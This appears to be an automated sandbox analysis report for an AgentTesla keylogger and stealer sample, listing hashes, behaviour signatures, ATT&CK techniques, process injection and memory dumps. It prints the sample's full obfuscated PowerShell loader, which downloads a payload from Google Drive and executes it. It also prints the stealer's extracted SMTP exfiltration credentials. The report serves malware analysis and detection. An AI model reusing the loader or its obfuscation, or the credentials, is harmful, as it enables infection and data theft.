agenttesla | 137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60

General

Target

137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60.vbs
Size

424KB
MD5

daa48dda60b2f2d7095a7190a75bdda8
SHA1

b99a7214799a5f1680e49f5a2f80faf13537c013
SHA256

137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60
SHA512

dad8a466a3dd01c5231c736399110cfdc0a02090368d66a8fcb6a527add1c1a1a9c0307823b5424ac4ebe11f9a0a0b3f029e6f7cfd4699945d5d776d4d2f8053
SSDEEP

6144:z74t1fXGwzkAitPzmeI9OQYypkHkSVdtxQ+5iYgbAL0WMhw19+z0yhtHn9eq/+4X:zAJv0ayfOb64MRycngoavbN0vBrbjkLt

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.rapvision.co.id
Port:
587
Username:
[email protected]
Password:
QHD)}d5k]jY%
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	640	powershell.exe
14	640	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
40	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
50	api.ipify.org
51	api.ipify.org
52	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2076	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1268	powershell.exe
2076	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1268 set thread context of 2076	1268	powershell.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
640	powershell.exe
640	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
2076	wab.exe
2076	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	2076	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 640	4784	WScript.exe	84
PID 4784 wrote to memory of 640	4784	WScript.exe	84
PID 640 wrote to memory of 2240	640	powershell.exe	87
PID 640 wrote to memory of 2240	640	powershell.exe	87
PID 640 wrote to memory of 1268	640	powershell.exe	95
PID 640 wrote to memory of 1268	640	powershell.exe	95
PID 640 wrote to memory of 1268	640	powershell.exe	95
PID 1268 wrote to memory of 464	1268	powershell.exe	97
PID 1268 wrote to memory of 464	1268	powershell.exe	97
PID 1268 wrote to memory of 464	1268	powershell.exe	97
PID 1268 wrote to memory of 2076	1268	powershell.exe	100
PID 1268 wrote to memory of 2076	1268	powershell.exe	100
PID 1268 wrote to memory of 2076	1268	powershell.exe	100
PID 1268 wrote to memory of 2076	1268	powershell.exe	100
PID 1268 wrote to memory of 2076	1268	powershell.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\137dba4596af3536acacb3ce1190517061eecc9703c1e3533b35319b99fcdc60.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Critic = 1;$Saddelmagerarbejder='Su';$Saddelmagerarbejder+='bstrin';$Saddelmagerarbejder+='g';Function Overindulgently($blyanttegningen){$Tangier=$blyanttegningen.Length-$Critic;For($Harmoniseringsndringer=1;$Harmoniseringsndringer -lt $Tangier;$Harmoniseringsndringer+=2){$Teletjenesterne+=$blyanttegningen.$Saddelmagerarbejder.Invoke( $Harmoniseringsndringer, $Critic);}$Teletjenesterne;}function Tights($Pseudoofficial){. ($Arkivdannelse) ($Pseudoofficial);}$Rutebaaden=Overindulgently 'HM o.zEi lIl,a,/U5 .E0, .( W iDnGdBo wDs. ,NGTH G1B0L..0 ;B MWCi nL6 4B;S x.6T4.;K RrRv :,1,2A1F..0T)K AG eHcSkHoE/K2S0 1 0 0R1 0M1S MF iOr e f.oTxV/L1 2R1 . 0N ';$Skgpantebreves=Overindulgently 'SUSs eFrR- A,g.eLn,tK ';$idiologism=Overindulgently ' hRt tRpIsi:C/ /Td rWiOvPeP.Sg oToIgElSes.Zc oTmS/AuOcC?Geax pFo r tO=,d oJw.nUlHoTaSd,& i,d =V1e7ClNm r h.WT8.cKG l 7Sv,n x NUrTF J W a r 8.y,V.WBjBtE_.M B.H,C ';$Syndfloderne=Overindulgently ',> ';$Arkivdannelse=Overindulgently 'Sipe xJ ';$Frtidspensionisten='Phosphorical';Tights (Overindulgently 'SS eRt.- CTo.n.tTe nRtE - PSaRt hG TU:M\SU n,p a t eSr.n a,l,. tSx tA - VDa lSuSeK S$BFVr t i,d,sFpTeEnisBi,oSnFiRs.t e nG;S ');Tights (Overindulgently ',i.f ( t eFsStF-MpUaHt h TP: \BUUnNpWaMtue rLnBa l . t,xWt.) {SetxsiHt.}.; ');$Bookmark = Overindulgently 'SeBcMh,o ,% aTpFpRdAaOtOau%T\Bt i dMs b eHsLt eHm t,.SS m,aS B&T& .e cMh oF $S ';Tights (Overindulgently ' $ gSl.oGb aGl.: L.nTgFs e,l.s.fGuPlNd ess =.( c,mKdD C/Rc N$RB.o.oVkUmGaIrNkD) ');Tights (Overindulgently ' $.gil o b arl : S k,e,l,l.eBtK=g$Gi dsiSo lCo g.i sUmd..s.p,lDiLtS(E$ SFy nKd f.l oRdTeCr,nOeM)K ');$idiologism=$Skellet[0];Tights (Overindulgently 'l$ g l.o bAaAlS:RONv eJr cVo nUfMiSd ernSc.eIs,1 6.7U=BN e wk-MOLbAj eOcVtE DS y sNtPeDmS.FN eutD.FW,e bSC l,i,e n,tP ');Tights (Overindulgently 'S$,OGvBe r c.o nEfPi dHeSnPcTeNsC1I6T7G..H e aHdSe,r,sU[ $ASFk gUp,amnSt,eSb,rDe vOe sO]U=,$YRKu t.eUb aOadd.eHn ');$Tolvfingertarmene=Overindulgently ',OAv elrsc o nSf.iAd eGn c eBs,1T6P7 . DAoFwSn,lPoRa d FTiflAe ( $ iSd i oAlEo gTiHsNm,, $mB e gLgPakr w eGeBdS)D ';$Tolvfingertarmene=$Lngselsfuldes[1]+$Tolvfingertarmene;$Beggarweed=$Lngselsfuldes[0];Tights (Overindulgently '.$FgTlRo,b aElM:UR.e,vSaVlLi,dMe rGe ngd eO=I(sTnePs t,-.P aLtVh, ,$jBLe.gAgAaFr wCe eBd )C ');while (!$Revaliderende) {Tights (Overindulgently 'S$Rg l o,b aEl,:FS.iUp,pFe nUi,p =K$St r,uUe ') ;Tights $Tolvfingertarmene;Tights (Overindulgently 'OS,t.aKr t -USGl e eEp, .4F ');Tights (Overindulgently 'E$Og,lUoDb,aTlV: RHeSv.a.lHiRd e rKe nDd eS=.(STAeLs tF- PRa.tFhG $DB e.gCg aUr whe efd,)U ') ;Tights (Overindulgently 'P$Pg,l o bFa lP:MA dSr e a m.= $ g.lvo bBaBl.:KG.aurSd e rGo,bOe rDn.eAs.+ +S%.$.SSk e,lcl eVtN.fc.oSu nCtS ') ;$idiologism=$Skellet[$Adream];}$Thaisilkens=345059;$Grundlovsforhr=26762;Tights (Overindulgently ' $ gDl oHb a.lR:,BBe n a rTb elj.dge r.s F=A G e,tA-.CDoKn,t,e nUtM P$ Bie,g g a r wAe e dL ');Tights (Overindulgently 'B$Eg l oRbSa,l,:Pv.uSltg,a rFi z e O=. [ SAyEs t,eSm,.SCRo.nGvTeBr.tU]P:A: F rPo mVB aTsVe 6.4ASMtDr i n.gA(.$NB e nUaIrSb,eFjcd ecr.s ) ');Tights (Overindulgently 'D$ g,l,o bVa lB:EFIo rVm e r n,eMsK .=A T[ S y sPt emmO.OTBe xKtC. E n.cEoBdDiBn gU].:R:SAAS CiI I,.DG estHSRtDrTiPnEgF( $Pv uBl g aSr iSz e ) ');Tights (Overindulgently 'A$Pg.l.o bGaRlB:LI n,tMr uPd r,eSsRs =U$TF,oBr m,eSrAn,eBsS.,s u b.sJtDr i,nBg (.$UT,hCaHiEs i l k e.n.s ,S$ GUrSu.n.dSl,o v.sTfKo.rRhNr ). ');Tights $Intrudress;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\tidsbestemt.Sma && echo $"
    3⤵
    PID:2240
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Critic = 1;$Saddelmagerarbejder='Su';$Saddelmagerarbejder+='bstrin';$Saddelmagerarbejder+='g';Function Overindulgently($blyanttegningen){$Tangier=$blyanttegningen.Length-$Critic;For($Harmoniseringsndringer=1;$Harmoniseringsndringer -lt $Tangier;$Harmoniseringsndringer+=2){$Teletjenesterne+=$blyanttegningen.$Saddelmagerarbejder.Invoke( $Harmoniseringsndringer, $Critic);}$Teletjenesterne;}function Tights($Pseudoofficial){. ($Arkivdannelse) ($Pseudoofficial);}$Rutebaaden=Overindulgently 'HM o.zEi lIl,a,/U5 .E0, .( W iDnGdBo wDs. ,NGTH G1B0L..0 ;B MWCi nL6 4B;S x.6T4.;K RrRv :,1,2A1F..0T)K AG eHcSkHoE/K2S0 1 0 0R1 0M1S MF iOr e f.oTxV/L1 2R1 . 0N ';$Skgpantebreves=Overindulgently 'SUSs eFrR- A,g.eLn,tK ';$idiologism=Overindulgently ' hRt tRpIsi:C/ /Td rWiOvPeP.Sg oToIgElSes.Zc oTmS/AuOcC?Geax pFo r tO=,d oJw.nUlHoTaSd,& i,d =V1e7ClNm r h.WT8.cKG l 7Sv,n x NUrTF J W a r 8.y,V.WBjBtE_.M B.H,C ';$Syndfloderne=Overindulgently ',> ';$Arkivdannelse=Overindulgently 'Sipe xJ ';$Frtidspensionisten='Phosphorical';Tights (Overindulgently 'SS eRt.- CTo.n.tTe nRtE - PSaRt hG TU:M\SU n,p a t eSr.n a,l,. tSx tA - VDa lSuSeK S$BFVr t i,d,sFpTeEnisBi,oSnFiRs.t e nG;S ');Tights (Overindulgently ',i.f ( t eFsStF-MpUaHt h TP: \BUUnNpWaMtue rLnBa l . t,xWt.) {SetxsiHt.}.; ');$Bookmark = Overindulgently 'SeBcMh,o ,% aTpFpRdAaOtOau%T\Bt i dMs b eHsLt eHm t,.SS m,aS B&T& .e cMh oF $S ';Tights (Overindulgently ' $ gSl.oGb aGl.: L.nTgFs e,l.s.fGuPlNd ess =.( c,mKdD C/Rc N$RB.o.oVkUmGaIrNkD) ');Tights (Overindulgently ' $.gil o b arl : S k,e,l,l.eBtK=g$Gi dsiSo lCo g.i sUmd..s.p,lDiLtS(E$ SFy nKd f.l oRdTeCr,nOeM)K ');$idiologism=$Skellet[0];Tights (Overindulgently 'l$ g l.o bAaAlS:RONv eJr cVo nUfMiSd ernSc.eIs,1 6.7U=BN e wk-MOLbAj eOcVtE DS y sNtPeDmS.FN eutD.FW,e bSC l,i,e n,tP ');Tights (Overindulgently 'S$,OGvBe r c.o nEfPi dHeSnPcTeNsC1I6T7G..H e aHdSe,r,sU[ $ASFk gUp,amnSt,eSb,rDe vOe sO]U=,$YRKu t.eUb aOadd.eHn ');$Tolvfingertarmene=Overindulgently ',OAv elrsc o nSf.iAd eGn c eBs,1T6P7 . DAoFwSn,lPoRa d FTiflAe ( $ iSd i oAlEo gTiHsNm,, $mB e gLgPakr w eGeBdS)D ';$Tolvfingertarmene=$Lngselsfuldes[1]+$Tolvfingertarmene;$Beggarweed=$Lngselsfuldes[0];Tights (Overindulgently '.$FgTlRo,b aElM:UR.e,vSaVlLi,dMe rGe ngd eO=I(sTnePs t,-.P aLtVh, ,$jBLe.gAgAaFr wCe eBd )C ');while (!$Revaliderende) {Tights (Overindulgently 'S$Rg l o,b aEl,:FS.iUp,pFe nUi,p =K$St r,uUe ') ;Tights $Tolvfingertarmene;Tights (Overindulgently 'OS,t.aKr t -USGl e eEp, .4F ');Tights (Overindulgently 'E$Og,lUoDb,aTlV: RHeSv.a.lHiRd e rKe nDd eS=.(STAeLs tF- PRa.tFhG $DB e.gCg aUr whe efd,)U ') ;Tights (Overindulgently 'P$Pg,l o bFa lP:MA dSr e a m.= $ g.lvo bBaBl.:KG.aurSd e rGo,bOe rDn.eAs.+ +S%.$.SSk e,lcl eVtN.fc.oSu nCtS ') ;$idiologism=$Skellet[$Adream];}$Thaisilkens=345059;$Grundlovsforhr=26762;Tights (Overindulgently ' $ gDl oHb a.lR:,BBe n a rTb elj.dge r.s F=A G e,tA-.CDoKn,t,e nUtM P$ Bie,g g a r wAe e dL ');Tights (Overindulgently 'B$Eg l oRbSa,l,:Pv.uSltg,a rFi z e O=. [ SAyEs t,eSm,.SCRo.nGvTeBr.tU]P:A: F rPo mVB aTsVe 6.4ASMtDr i n.gA(.$NB e nUaIrSb,eFjcd ecr.s ) ');Tights (Overindulgently 'D$ g,l,o bVa lB:EFIo rVm e r n,eMsK .=A T[ S y sPt emmO.OTBe xKtC. E n.cEoBdDiBn gU].:R:SAAS CiI I,.DG estHSRtDrTiPnEgF( $Pv uBl g aSr iSz e ) ');Tights (Overindulgently 'A$Pg.l.o bGaRlB:LI n,tMr uPd r,eSsRs =U$TF,oBr m,eSrAn,eBsS.,s u b.sJtDr i,nBg (.$UT,hCaHiEs i l k e.n.s ,S$ GUrSu.n.dSl,o v.sTfKo.rRhNr ). ');Tights $Intrudress;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\tidsbestemt.Sma && echo $"
      4⤵
      PID:464
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyuuqhat.mnp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\tidsbestemt.Sma

Filesize
484KB

MD5
37b5e04829f22394ecd93d96a6abb364

SHA1
1100d43b7f38319d657ccfdaa1c23b2fa9b8f787

SHA256
d81b1ebdbeacbeeb7ea1b5398ff1f2b2ff76a2386d23850f1c5ad0758475a2ac

SHA512
3c462bfc901eb7d66eb7875503b604b2b646857cac49a23713a066b8f8a5accadff453772b76285b769b01b6de7ec859338e416489dff38434cc17cdcb8a1915

Download Submit
memory/640-1-0x0000024CDEB90000-0x0000024CDEBB2000-memory.dmp

Filesize
136KB

Download
memory/640-11-0x00007FF85ABF0000-0x00007FF85B6B1000-memory.dmp

Filesize
10.8MB

Download
memory/640-12-0x00007FF85ABF0000-0x00007FF85B6B1000-memory.dmp

Filesize
10.8MB

Download
memory/640-13-0x00007FF85ABF0000-0x00007FF85B6B1000-memory.dmp

Filesize
10.8MB

Download
memory/640-59-0x00007FF85ABF0000-0x00007FF85B6B1000-memory.dmp

Filesize
10.8MB

Download
memory/640-0-0x00007FF85ABF3000-0x00007FF85ABF5000-memory.dmp

Filesize
8KB

Download
memory/640-41-0x00007FF85ABF3000-0x00007FF85ABF5000-memory.dmp

Filesize
8KB

Download
memory/640-40-0x00007FF85ABF0000-0x00007FF85B6B1000-memory.dmp

Filesize
10.8MB

Download
memory/1268-17-0x0000000004F40000-0x0000000005568000-memory.dmp

Filesize
6.2MB

Download
memory/1268-20-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

Download
memory/1268-31-0x0000000005E60000-0x0000000005E7E000-memory.dmp

Filesize
120KB

Download
memory/1268-32-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

Filesize
304KB

Download
memory/1268-33-0x00000000076D0000-0x0000000007D4A000-memory.dmp

Filesize
6.5MB

Download
memory/1268-34-0x0000000006400000-0x000000000641A000-memory.dmp

Filesize
104KB

Download
memory/1268-35-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/1268-36-0x0000000006470000-0x0000000006492000-memory.dmp

Filesize
136KB

Download
memory/1268-37-0x0000000008300000-0x00000000088A4000-memory.dmp

Filesize
5.6MB

Download
memory/1268-30-0x00000000059B0000-0x0000000005D04000-memory.dmp

Filesize
3.3MB

Download
memory/1268-39-0x00000000088B0000-0x000000000A5F5000-memory.dmp

Filesize
29.3MB

Download
memory/1268-19-0x00000000056A0000-0x0000000005706000-memory.dmp

Filesize
408KB

Download
memory/1268-18-0x0000000005600000-0x0000000005622000-memory.dmp

Filesize
136KB

Download
memory/1268-16-0x00000000048D0000-0x0000000004906000-memory.dmp

Filesize
216KB

Download
memory/2076-56-0x0000000000C70000-0x0000000000CB2000-memory.dmp

Filesize
264KB

Download
memory/2076-55-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/2076-61-0x0000000022170000-0x00000000221C0000-memory.dmp

Filesize
320KB

Download
memory/2076-62-0x0000000022870000-0x0000000022902000-memory.dmp

Filesize
584KB

Download
memory/2076-63-0x00000000221C0000-0x00000000221CA000-memory.dmp

Filesize
40KB

Download

Analysis

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